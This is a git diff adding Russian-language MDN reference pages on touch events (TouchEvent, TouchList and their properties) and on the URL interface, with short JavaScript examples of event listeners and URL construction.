{{DefaultAPISidebar("Touch Events")}}

+ +

На сегодняшний день бо́льшая часть содержимого в вебе рассчитана на работу с использованием клавиатуры и мыши. Тем не менее, всё больше появляется устройств с сенсорным экраном (особенно мобильных) и веб-приложения могут либо напрямую обрабатывать сенсорный ввод с помощью {{domxref("Touch_events","Событий касаний")}}, либо интерпретировать события мыши. Недостатком использования событий мыши является то, что они не поддерживают одновременный ввод, тогда как события касаний поддерживают несколько одновременных прикосновений (возможно в разных местах сенсорной поверхности), повышая тем самым удобство работы с интерфейсом.

+ +

Интерфейсы событий касания поддерживают взаимодействие с приложением с помощью одного или нескольких одновременных прикосновений, такие как жест двумя пальцами. Взаимодействие с помощью нескольких одновременных прикосновений начинается, когда палец (или стилус) впервые касается контактной поверхности. Другие пальцы могут последовательно касаться поверхности и, если нужно, перемещаться по ней. Взаимодействие заканчивается, когда пальцы убираются с поверхности. На протяжении этого взаимодействия приложение получает события касания на начальной стадии, стадии перемещения и стадии завершения. Приложение может применять собственную семантику к сенсорному вводу.

+ +

Интерфейсы

+ +

События касаний включают три интерфейса {{domxref("Touch")}}, {{domxref("TouchEvent")}} и {{domxref("TouchList")}}, а также следующие типы событий

+ + + +

Интерфейс {{domxref("Touch")}} представляет собой одну точка контакта с сенсорной поверхностью. Точка контакта обычно называется точкой касания или просто касанием. Касание обычно генерируется пальцем или стилусом на сенсорной поверхности. Свойства точки касания включают уникальный идентификатор, целевой элемент точки касания, а также координаты X и Y точки касания относительно области видимости, страницы или экрана.

+ +

Интерфейс {{domxref("TouchList")}} представляет список точек контакта с сенсорной поверхностью, по одной точке касания на каждый контакт с поверхностью. Таким образом, если пользователь активировал сенсорную поверхность одним пальцем, список будет содержать один элемент, а если пользователь прикоснулся к поверхности требя пальцами, в списке будет три элемента.

+ +

Интерфейс {{domxref("TouchEvent")}} представляет событие, которое отправляется, когда меняется состояние контактов с сенсорной поверхностью. Изменения состояния включают начальный контакт с сенсорной поверхностью, перемещение точки касания при сохранении контакта с поверхностью, отпускание точки касания и прерывание события касания. Атрибуты интерфейса включают состояние нескольких клавиш-модификаторов (например, клавиши Shift) и следующий список данных:

+ + + +

Вместе эти интерфейсы определяют относительно низкоуровневый набор функций, но при этом поддерживают множество видов взаимодействия с помощью касаний, включая знакомые жесты с несколькими касаниями, такие как пролистывание несколькими пальцами, вращение, сжатие и масштабирование.

+ +

От интерфейсов к жестам

+ +

При определении семантики жеста, приложение может учитывать различные факторы. Например, расстояние, которое прошла точка от начала до конца касания. Другим возможным фактором может быть время, например, количество времени между началом касания и завершением, или количество времени между двумя последовательными касаниями, предназначенными для создания жеста двойного нажатия. Направленность свайпа (например, слева направо, справа налево и т.д) является ещё одним фактором.

+ +

Списки касаний, которые использует приложение, зависят от семантики его жестов. Например, если приложение поддерживает однократное касание (тап) одного элемента, будет использоваться список {{domxref("TouchEvent.targetTouches","targetTouches")}} в обработчике события {{event("touchstart")}} для обработки точки касания в свойственной приложению манере. Если приложение поддерживает свайп двумя пальцами для любых двух точек касания, оно будет использовать список {{domxref("TouchEvent.changedTouches","changedTouches")}} в обработчике {{event("touchmove")}} для того, чтобы определить, были ли перемещены эти две точки касания, а затем реализовать семантику этого жеста в свойственной приложению манере.

+ +

Когда есть только одна активная точка касания, браузер обычно отправляет эмулированные события и мыши и клика. Мультитач-действия, включающие две и больше активных точек касания, обычно генерируют только события касания. Чтобы предотвратить отправку эмулированных событий мыши, используйте метод {{domxref("Event.preventDefault()","preventDefault()")}} в обработчиках событий касания. Дополнительную информацию о взаимодействии между себытиями мыши и событиями касаний можно найти в статье {{domxref("Touch_events.Supporting_both_TouchEvent_and_MouseEvent", "Поддержка TouchEvent и MouseEvent")}}.

+ +

Основные шаги

+ +

Этот раздел содержит пример базового использованиея приведённых выше интерфейсов. Более подробный пример можно найти в статье {{domxref ("Touch_events", "События касаний (тач-события)")}}.

+ +

Назначьте обработчик событий для каждого типа события касания.

+ +
// Назначение обработчика событий касания
+someElement.addEventListener('touchstart', process_touchstart, false);
+someElement.addEventListener('touchmove', process_touchmove, false);
+someElement.addEventListener('touchcancel', process_touchcancel, false);
+someElement.addEventListener('touchend', process_touchend, false);
+
+ +

Обработчик события, реализующий семантику жестов приложения

+ +
// Обработчик touchstart
+function process_touchstart(ev) {
+  // Используется данные события, чтобы вызвать соответствующие обработчики жестов
+  switch (ev.touches.length) {
+    case 1: handle_one_touch(ev); break;
+    case 2: handle_two_touches(ev); break;
+    case 3: handle_three_touches(ev); break;
+    default: gesture_not_supported(ev); break;
+  }
+}
+
+ +

Доступ к атрибутам точки касания.

+ +
// Создание обработчика события "touchstart"
+someElement.addEventListener('touchstart', function(ev) {
+  // Перебор точек события, которые были активированы
+  // для этого элемента и обработчка каждого целевого элемента события
+  for (var i=0; i < ev.targetTouches.length; i++) {
+    process_target(ev.targetTouches[i].target);
+  }
+}, false);
+
+ +

Предотвращение эмуляции событий мыши

+ +
// Обработчик события "touchmove"
+function process_touchmove(ev) {
+  // Вызов "preventDefault()"
+  ev.preventDefault();
+}
+
+ +

Лучшие практики

+ +

Вот несколько моментов, которых следует придерживаться при работе с событиями касаний:

+ + + +

Поддержка браузерами

+ +

Согласно данным о совместимости с браузерами, поддержка событий касания среди мобильных браузеров относительно неплохая. Десктопные браузеры немного отстают, хотя над этим уже ведётся работа. 

+ +

Некоторые новые функции, связанные с областью касания (областью контакта между пользователем и сенсорной поверхностью) - находятся в процессе стандартизации. Новый функционал включает в себя радиусы эллипса по осям X и Y, которые наиболее точно описывают область контакта с сенсорной поверхностью. Угол поворота точки касания - градус, на который нужно повернуть упомянутый эллипс, чтобы соотвествовать области контакта - также стандартизирован, как и степень давления в точке касания.

+ +

А что насчёт Событий Указателя?

+ +

Внедрение новых механизмов ввода усложняет обработку всех возможных событий, таких как события клавиатуры, мыши, пера, касаний. Чтобы помочь решить эту проблему, стандарт "Pointer Events" определяет события и связанные с ними интерфейсы для обработки ввода с таких указывающих устройств, как мышь, перо, сенсорный экран и т.д. То есть, абстрактный указатель создаёт унифицированную модель ввода, которая может представлять точку контакта пальца, пера/стилуса или мыши. Подробнее в MDN-статье События указателя.

+ +

Модель событий указателя может упростить обработку разных способов ввода, поскольку указатель представляет ввод с любого устройства. В дополнение к этому, типы событий указателя очень похожи на типы событий мыши (например, pointerdown pointerup), таким образом, код для обработки событий указателя полностью совпадает с кодом обработки ввода с помощью мыши.

+ +

Статус реализации событий указателя в браузерах относительно высок, поскольку Chrome, Firefox, IE11 и Edge имеют полные реализации.

+ +

Примеры

+ +

Следующие документы описывают, как использовать события касаний и включают код с примерами

+ + + +

Демонстрация событий касания:

+ + + +

Сообщество

+ + + +

Связанные темы и источники

+ + diff --git a/files/ru/web/api/touchevent/altkey/index.html b/files/ru/web/api/touchevent/altkey/index.html new file mode 100644 index 0000000000..2ec99f56f9 --- /dev/null +++ b/files/ru/web/api/touchevent/altkey/index.html @@ -0,0 +1,68 @@ +--- +title: TouchEvent.altKey +slug: Web/API/TouchEvent/altKey +translation_of: Web/API/TouchEvent/altKey +--- +

{{APIRef("Touch Events") }}

+ +

Сводка

+ +

Логическое ({{jsxref("Boolean")}}) значение, показывающее, была ли активирована клавиша alt (Alternate), когда событие касания было создано. Если клавиша alt активирована, значение равно true. В противном случае оно равноfalse.

+ +

Данное свойство предназначено {{readonlyInline}}.

+ +

Синтаксис

+ +
var altEnabled = touchEvent.altKey;
+
+ +

Возвращаемое значение

+ +
+
altEnabled
+
true если клавиша alt активирована для данного события; и false если нет.
+
+ +

Пример

+ +

Данный пример демонстрирует доступ к свойствам клавиш-модификаторов события {{domxref("TouchEvent")}}: {{domxref("TouchEvent.altKey")}}, {{domxref("TouchEvent.ctrlKey")}}, {{domxref("TouchEvent.metaKey")}} и {{domxref("TouchEvent.shiftKey")}}.

+ +

В фрагменте кода ниже обработчик события {{event("touchstart")}} логирует состояние клавиш-модификаторов события.

+ +
someElement.addEventListener('touchstart', function(e) {
+   // Log the state of this event's modifier keys
+   console.log("altKey = " + e.altKey);
+   console.log("ctrlKey = " + e.ctrlKey);
+   console.log("metaKey = " + e.metaKey);
+   console.log("shiftKey = " + e.shiftKey);
+}, false);
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Touch Events 2','#widl-TouchEvent-altKey')}}{{Spec2('Touch Events 2')}}Нестабильная версия.
{{SpecName('Touch Events','#widl-TouchEvent-altKey')}}{{Spec2('Touch Events')}}Начальное определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.TouchEvent.altKey")}}

diff --git a/files/ru/web/api/touchevent/changedtouches/index.html b/files/ru/web/api/touchevent/changedtouches/index.html new file mode 100644 index 0000000000..0d710b6ad7 --- /dev/null +++ b/files/ru/web/api/touchevent/changedtouches/index.html @@ -0,0 +1,133 @@ +--- +title: TouchEvent.changedTouches +slug: Web/API/TouchEvent/changedTouches +translation_of: Web/API/TouchEvent/changedTouches +--- +

{{ APIRef("Touch Events") }}

+ +

Сводка

+ +

{{ domxref("TouchList") }} список точек касания (обьекта {{domxref("Touch")}}), смысл которых зависит от типа события:

+ + + +

Это свойство предназначено {{readonlyInline}}.

+ +

Синтаксис

+ +
var changes = touchEvent.changedTouches;
+
+ +

Возвращаемое значение

+ +
+
changes
+
Список {{ domxref("TouchList") }} обьекта {{ domxref("Touch") }} в котором содержатся все точки касания для данного события.
+
+ +

Пример

+ +

Этот пример демонстрирует свойство {{domxref("TouchEvent.changedTouches")}} обьекта  {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.changedTouches")}} это — обьект {{domxref("TouchList")}}, который содержит обьект {{domxref("Touch")}} для каждой точки, где произошло событие.

+ +

В этом фрагменте кода обработчик события {{event("touchmove")}} выполняет перебор списка  changedTouches и выводит в консоль идентификатор каждой точки касания, где произошло изменение с последнего события.

+ +
someElement.addEventListener('touchmove', function(e) {
+   // Iterate through the list of touch points that changed
+   // since the last event and print each touch point's identifier.
+   for (var i=0; i < e.changedTouches.length; i++) {
+     console.log("changedTouches[" + i + "].identifier = " + e.changedTouches[i].identifier);
+   }
+}, false);
+
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Touch Events 2','#widl-TouchEvent-changedTouches')}}{{Spec2('Touch Events 2')}}Нестабильная версия.
{{SpecName('Touch Events','#widl-TouchEvent-changedTouches')}}{{Spec2('Touch Events')}}Начальное определение.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome("22.0")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("18.0")}}[1]
+ {{CompatGeckoDesktop("52.0")}}[2]		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6.0")}}{{CompatVersionUnknown}}11{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] События касания были добавлены в Gecko 18.0, но затем удалены в 24.0 {{geckoRelease("24.0")}} в настольной версии Firefox из-за проблем совместимости ({{bug(888304)}}).

+ +

[2] Начиная с Gecko 52.0, поддержка событий касания была восстановлена для настольных платформ на базе Windows.

diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html new file mode 100644 index 0000000000..761204b552 --- /dev/null +++ b/files/ru/web/api/touchevent/index.html @@ -0,0 +1,145 @@ +--- +title: TouchEvent +slug: Web/API/TouchEvent +tags: + - API + - DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub + - touch +translation_of: Web/API/TouchEvent +--- +

{{ APIRef("Touch Events") }}

+ +

Интерфейс TouchEvent отражает событие {{domxref("UIEvent")}}, возникающее при изменении состояния касаний к сенсорной поверхности. К таким поверхностям можно отнести, например, сенсорные экраны или трекпады. Событие может описывать одну или несколько точек касания экрана и включает поддержку обнаружения движения, добавление и удаление точек касаний и так далее.

+ +

Каждое прикосновение представлено объектом {{ domxref("Touch") }}, который содержит данные о позиции, размере, форме, степени давления и целевом элементе. Список прикосновений представлен объектом {{ domxref("TouchList") }}.

+ +

{{InheritanceDiagram}}

+ +

Конструктор

+ +
+
{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}
+
Создает экземпляр TouchEvent.
+
+ +

Свойства

+ +

Данный интерфейс наследует свойства своих предков, {{domxref("UIEvent")}} и {{domxref("Event")}}.

+ +
+
{{ domxref("TouchEvent.altKey") }} {{readonlyInline}}
+
Булево значение, показывающее, была ли нажата клавиша alt, когда произошло событие касания.
+
{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}
+
Список {{ domxref("TouchList") }}, со всеми объектами {{ domxref("Touch") }}, представляющими отдельные точки касания, состояние которых изменилось между предыдущим событием касания и текущим.
+
{{ domxref("TouchEvent.ctrlKey") }} {{readonlyInline}}
+
Булево значение, показывающее, была ли нажата клавиша ctrl, когда произошло событие касания
+
{{ domxref("TouchEvent.metaKey") }} {{readonlyInline}}
+
Булево значение, показывающее, была ли нажата клавиша meta, когда произошло событие касания.
+
{{ domxref("TouchEvent.shiftKey") }} {{readonlyInline}}
+
Булево значение, показывающее, была ли нажата клавиша shift, когда произошло событие касания.
+
{{ domxref("TouchEvent.targetTouches") }}{{readonlyInline}}
+
Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими текущие точки касания с сенсорной поверхностью, которые находятся на одном и том же целевом элементе target.
+
{{ domxref("TouchEvent.touches") }} {{readonlyInline}}
+
Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими текущие точки касания с сенсорной поверхностью, вне зависимости от целевого элемента и статуса.
+
{{domxref("TouchEvent.rotation")}} {{non-standard_inline()}} {{readonlyInline}}
+
Изменение угла поворота (в градусах) с момента начала события. Положительные значения указывают на вращение по часовой стрелке, отрицательные - против часовой стрелки. Начальное значение 0.0
+
{{domxref("TouchEvent.scale")}} {{non-standard_inline()}} {{readonlyInline}}
+
Расстояние между двумя цифрами с момента начала события. Является числом с плавающей точкой, отражающим расстояние между двумя цифрами в начале события. Значения ниже 1.0 указывают на щипок (уменьшение зума), больше 1.0 - увеличение. Начальное значение: 1.0
+
+ +

Типы событий касания

+ +

Существует несколько типов событий, которые могут происходить в ответ на касания. Определить, какое именно событие произошло, можно с помощью свойства {{ domxref("event.type", "TouchEvent.type") }}.

+ +

{{domxref("Element/touchstart_event", "touchstart")}}

+ +

Происходит, когда пользователь касается сенсорной поверхности. Целью события будет являться экземпляр {{ domxref("Element") }}, которого коснулись.

+ +

{{domxref("Element/touchend_event", "touchend")}}

+ +

Происходит, когда пользователь удаляет точку касания поверхности (убирает палец или стилус с поверхности). Также это событие Происходит, если точка касания уходит за границы поверхности; например, если палец пользователя выходит за границу экрана.

+ +

Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события touchstart с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.

+ +

Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут changedTouches события.

+ +

{{domxref("Element/touchmove_event", "touchmove")}}

+ +

Происходит, когда пользователь двигает точку касания по поверхности. Цель события - тот же экземпляр {{ domxref("element") }}, что и для события touchstart с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.

+ +

Это событие также возникает, если изменилось значение радиуса, угла вращения или силы нажатия в точке касания.

+ +
Примечание: Промежуток времени, в течении которого возникают события touchmove, зависит от конкретного браузера, а также может сильно зависеть от возможностей устройства пользователя. Вам не следует полагаться на конкретную частоту возникновения этих событий.
+ +

{{domxref("Element/touchcancel_event", "touchcancel")}}

+ +

Происходит, если точка касания была по какой-либо причине удалена. Существует несколько возможных причин, почему это может произойти (и конкретные причины могут разниться от устройства к устройству, от браузера к браузеру):

+ + + +

Использование addEventListener() и preventDefault()

+ +

Важно отметить, что во многих случаях происходят и события касаний, и события мыши (чтобы код, не использующий касания, мог продолжать взаимодействовать с пользователем). Если вы используете события касания, вам следует вызывать {{domxref("Event.preventDefault","preventDefault()")}} для предотвращения отправки событий мыши.

+ +

Исключением из этого правила является браузер Chrome, начиная с версии 56 (настольный, Chrome для android, и android webview), в которой значение по-умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно true и вызовы метода {{domxref("Event.preventDefault","preventDefault()")}} не требуются. Чтобы переопределить такое поведение, просто установите значение опции passive равным false как показано в примере ниже. Это изменение запрещает обработчику блокировать отрисовку страницы во время прокрутки пользователем. Демонстрация этого доступна на сайте Google Developer.

+ +

GlobalEventHandlers

+ +

{{SeeCompatTable}}

+ +
+
{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}
+
Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchstart")}}.
+
{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}
+
Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchend")}}.
+
{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}
+
Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchmove")}}.
+
{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}
+
Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchcancel")}}.
+
+ +

Пример

+ +

Смотрите пример в основной статье о событиях касания.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}{{Spec2('Touch Events 2')}}Добавлены глобальные атрибуты обработчиков ontouchstart, ontouchend, ontouchmove, ontouchend
{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}{{Spec2('Touch Events')}}Начальное определение
+ +

Поддержка браузерами

+ +

{{Compat("api.TouchEvent")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/touchevent/touches/index.html b/files/ru/web/api/touchevent/touches/index.html new file mode 100644 index 0000000000..090fa66e70 --- /dev/null +++ b/files/ru/web/api/touchevent/touches/index.html @@ -0,0 +1,68 @@ +--- +title: TouchEvent.touches +slug: Web/API/TouchEvent/touches +translation_of: Web/API/TouchEvent/touches +--- +

{{ APIRef("Touch Events") }}

+ +

touches это доступный только для чтения список {{ domxref("TouchList") }}, в котором перечислены все объекты {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}.

+ +

Вы можете воспринимать это как перечисление отдельных пальцев, которые могут быть идентифицированы при касании экрана.

+ +

Синтаксис

+ +
var touches = touchEvent.touches;
+
+ +

Возвращаемое значение

+ +
+
touches
+
Список {{ domxref("TouchList") }} всех объектов {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}. 
+
+ +

Пример

+ +

Этот пример демонтсрирует свойство {{domxref("TouchEvent.touches")}} объекта {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.touches")}} это объект {{domxref("TouchList")}}, который содержит список объектов {{domxref("Touch")}} для каждой активной точки контакта с сенсорной поверхностью.

+ +

В следующем фрагменте кода обработчик события {{event("touchstart")}} проверяет длину списка {{domxref("TouchEvent.touches")}} для определения количества точек касаний, которые были активированы, а затем вызывает разные обработчики в зависимости от количества таких точек.

+ +
someElement.addEventListener('touchstart', function(e) {
+   // Вызов определённого обработчика, в зависимости от
+   // количества точек касания
+   switch (e.touches.length) {
+     case 1: handle_one_touch(e); break;
+     case 2: handle_two_touches(e); break;
+     case 3: handle_three_touches(e); break;
+     default: console.log("Not supported"); break;
+   }
+ }, false);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#dom-touchevent-touches')}}{{Spec2('Touch Events 2')}}Non-stable version.
{{SpecName('Touch Events','#widl-TouchEvent-touches')}}{{Spec2('Touch Events')}}Initial definition.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.TouchEvent.touches")}}

diff --git a/files/ru/web/api/touchlist/index.html b/files/ru/web/api/touchlist/index.html new file mode 100644 index 0000000000..db1c5b0400 --- /dev/null +++ b/files/ru/web/api/touchlist/index.html @@ -0,0 +1,63 @@ +--- +title: TouchList +slug: Web/API/TouchList +translation_of: Web/API/TouchList +--- +
{{ APIRef("Touch Events") }}
+ +

Интерфейс TouchList представляет собой список точек касаний сенсорной поверхности. Например, если пользователь коснулся сенсорной поверхности (такой как экран или трекпад) тремя пальцами, соответствующий объект TouchList будет содержать по одному объекту {{domxref("Touch")}} для каждого пальца, всего три объекта.

+ +

Свойства

+ +
+
{{domxref("TouchList.length")}} {{readonlyInline}}
+
Количество объектов {{domxref("Touch")}} в TouchList.
+
+ +

Методы

+ +
+
{{domxref("TouchList.identifiedTouch()")}} {{obsolete_inline}}
+
Возвращает первый объект {{domxref("Touch")}} из списка, чей идентификатор соответствует заданному значению.
+
{{domxref("TouchList.item()")}}
+
Возвращает объект {{domxref("Touch")}}, находящийся в списке по указанному индексу
+
+ +

Пример

+ +

С примером можно ознакомиться в основной статье про События касаний (тач-события)

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#touchlist-interface')}}{{Spec2('Touch Events 2')}}Нестабильная версия.
{{SpecName('Touch Events', '#touchlist-interface')}}{{Spec2('Touch Events')}}Первое упоминание
+ +

Доступность в браузерах

+ + + +

{{Compat("api.TouchList")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html new file mode 100644 index 0000000000..bff6b425d5 --- /dev/null +++ b/files/ru/web/api/url/createobjecturl/index.html @@ -0,0 +1,66 @@ +--- +title: URL.createObjectURL() +slug: Web/API/URL/createObjectURL +translation_of: Web/API/URL/createObjectURL +--- +

{{ApiRef("URL")}}{{SeeCompatTable}}

+ +

Определение

+ +

URL.createObjectURL() - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
objectURL = URL.createObjectURL(blob);
+
+ +

Параметры

+ +
+
blob
+
+ +
+
Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.
+
+ + + +

Пример

+ +

Смотрите Using object URLs to display images.

+ +

Заметки

+ +

При каждом вызове createObjectURL(), создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-createObjectURL', 'URL')}}{{Spec2('File API')}}Initial definition.
+ +

Поддержка браузерами

+ +

{{Compat("api.URL.createObjectURL")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/url/index.html b/files/ru/web/api/url/index.html new file mode 100644 index 0000000000..7ba8f09324 --- /dev/null +++ b/files/ru/web/api/url/index.html @@ -0,0 +1,119 @@ +--- +title: URL +slug: Web/API/URL +tags: + - API + - Experimental + - NeedsTranslation + - TopicStub + - URL API +translation_of: Web/API/URL +--- +
{{ApiRef("URL API")}} {{SeeCompatTable}}
+ +

The URL interface represent an object providing static methods used for creating object URLs.

+ +

When using a user agent where no constructor has been implemented yet, it is possible to access such an object using the {{domxref("Window.URL")}} properties (prefixed with Webkit-based browser as Window.webkitURL).

+ +

{{AvailableInWorkers}}

+ +

Свойства

+ +

Implements properties defined in {{domxref("URLUtils")}}.

+ +
+
{{domxref("URLUtils.href")}}
+
Is a {{domxref("DOMString")}} containing the whole URL.
+
{{domxref("URLUtils.protocol")}}
+
Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final ':'.
+
{{domxref("URLUtils.host")}}
+
Is a {{domxref("DOMString")}} containing the host, that is the hostname, a ':', and the port of the URL.
+
{{domxref("URLUtils.hostname")}}
+
Is a {{domxref("DOMString")}} containing the domain of the URL.
+
{{domxref("URLUtils.port")}}
+
Is a {{domxref("DOMString")}} containing the port number of the URL.
+
{{domxref("URLUtils.pathname")}}
+
Is a {{domxref("DOMString")}} containing an initial '/' followed by the path of the URL.
+
{{domxref("URLUtils.search")}}
+
Is a {{domxref("DOMString")}} containing a '?' followed by the parameters of the URL.
+
{{domxref("URLUtils.hash")}}
+
Is a {{domxref("DOMString")}} containing a '#' followed by the fragment identifier of the URL.
+
{{domxref("URLUtils.username")}}
+
Is a {{domxref("DOMString")}} containing the username specified before the domain name.
+
{{domxref("URLUtils.password")}}
+
Is a {{domxref("DOMString")}} containing the password specified before the domain name.
+
{{domxref("URLUtils.origin")}} {{readonlyInline}}
+
Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.
+
+ +
+
{{domxref("URLUtils.searchParams")}}
+
Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.
+
+ +

Конструктор

+ +
+
{{domxref("URL.URL", "URL()")}}
+
Creates and return a URL object composed from the given parameters.
+
+ +

Методы

+ +

The URL interface implements methods defined in {{domxref("URLUtils")}}.

+ +
+
{{domxref("URLUtils.toString()")}}
+
Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.
+
+ +

Статические методы

+ +
+
{{domxref("URL.createObjectURL()")}}
+
Returns a {{domxref("DOMString")}} containing a unique blob URL, that is a URL with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser.
+
{{domxref("URL.revokeObjectURL()")}}
+
Revokes an object URL previously created using {{domxref("URL.createObjectURL()")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#creating-revoking', 'URL')}}{{Spec2('File API')}}Добавлены статические методы URL.createObjectURL(), URL.revokeObjectURL().
{{SpecName('URL', '#api', 'Node')}}{{Spec2('URL')}}Initial definition (implements URLUtils).
+ +

Поддержка браузерами

+ +

{{Compat("api.URL")}}

+ +

Chrome Code - Scope Availability

+ +

To use from chrome code, JSM and Bootstrap scope, you have to import it like this:

+ +
Cu.importGlobalProperties(['URL']);
+
+ +

URL is available in Worker scopes.

+ +

См. также

+ + diff --git a/files/ru/web/api/url/url/index.html b/files/ru/web/api/url/url/index.html new file mode 100644 index 0000000000..7907e088a8 --- /dev/null +++ b/files/ru/web/api/url/url/index.html @@ -0,0 +1,121 @@ +--- +title: URL() +slug: Web/API/URL/URL +translation_of: Web/API/URL/URL +--- +

{{SeeCompatTable}}{{APIRef("URL API")}}

+ +

Конструктор URL() возвращает вновь созданный  {{domxref("URL")}} объект отражающий URL определяемый параметрами.

+ +

If the given base URL or the resulting URL are not valid URLs, a {{domxref("DOMException")}} of type SYNTAX_ERROR is thrown.

+ +

{{AvailableInWorkers}}

+ +

Синтаксис

+ +
url = new URL(urlString, [baseURLstring])
+url = new URL(urlString, baseURLobject)
+
+ +

Параметры

+ +
+
urlString
+
Is a {{domxref("DOMString")}} representing an absolute or relative URL. If urlString is a relative URL, baseURLstring or baseURLobject, whichever is present, will be used as the base URL. If urlString is an absolute URL, baseURLstring and baseURLobject are ignored.
+
baseURLstring {{optional_inline}}
+
Is a {{domxref("DOMString")}} representing the base URL to use in case urlString is a relative URL. If not specified, and no baseURLobject is passed in parameters, it default to 'about:blank'. If it is an invalid absolute URL, the constructor will raise a {{domxref("DOMException")}} of type SYNTAX_ERROR
+
baseURLobject
+
Is a {{domxref("URL")}} object representing the base URL to use in case urlString is a relative URL.
+
+ +

Примеры

+ +
var a = new URL("/", "https://developer.mozilla.org"); // Creates a URL pointing to 'https://developer.mozilla.org/'
+var b = new URL("https://developer.mozilla.org");      // Creates a URL pointing to 'https://developer.mozilla.org/'
+var c = new URL('en-US/docs', b);                      // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var d = new URL('/en-US/docs', b);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var f = new URL('/en-US/docs', d);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var g = new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var h = new URL('/en-US/docs', a);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var i = new URL('/en-US/docs', '');                    // Raises a SYNTAX ERROR exception as '/en-US/docs' is not valid
+var j = new URL('/en-US/docs');                        // Raises a SYNTAX ERROR exception as 'about:blank/en-US/docs' is not valid
+var k = new URL('http://www.example.com', 'https://developers.mozilla.com');
+                                                       // Creates a URL pointing to 'http://www.example.com/'
+var l = new URL('http://www.example.com', b);          // Creates a URL pointing to 'http://www.example.com/'
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#constructors', 'URL.URL()')}}{{Spec2('URL')}}Initial definition.
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
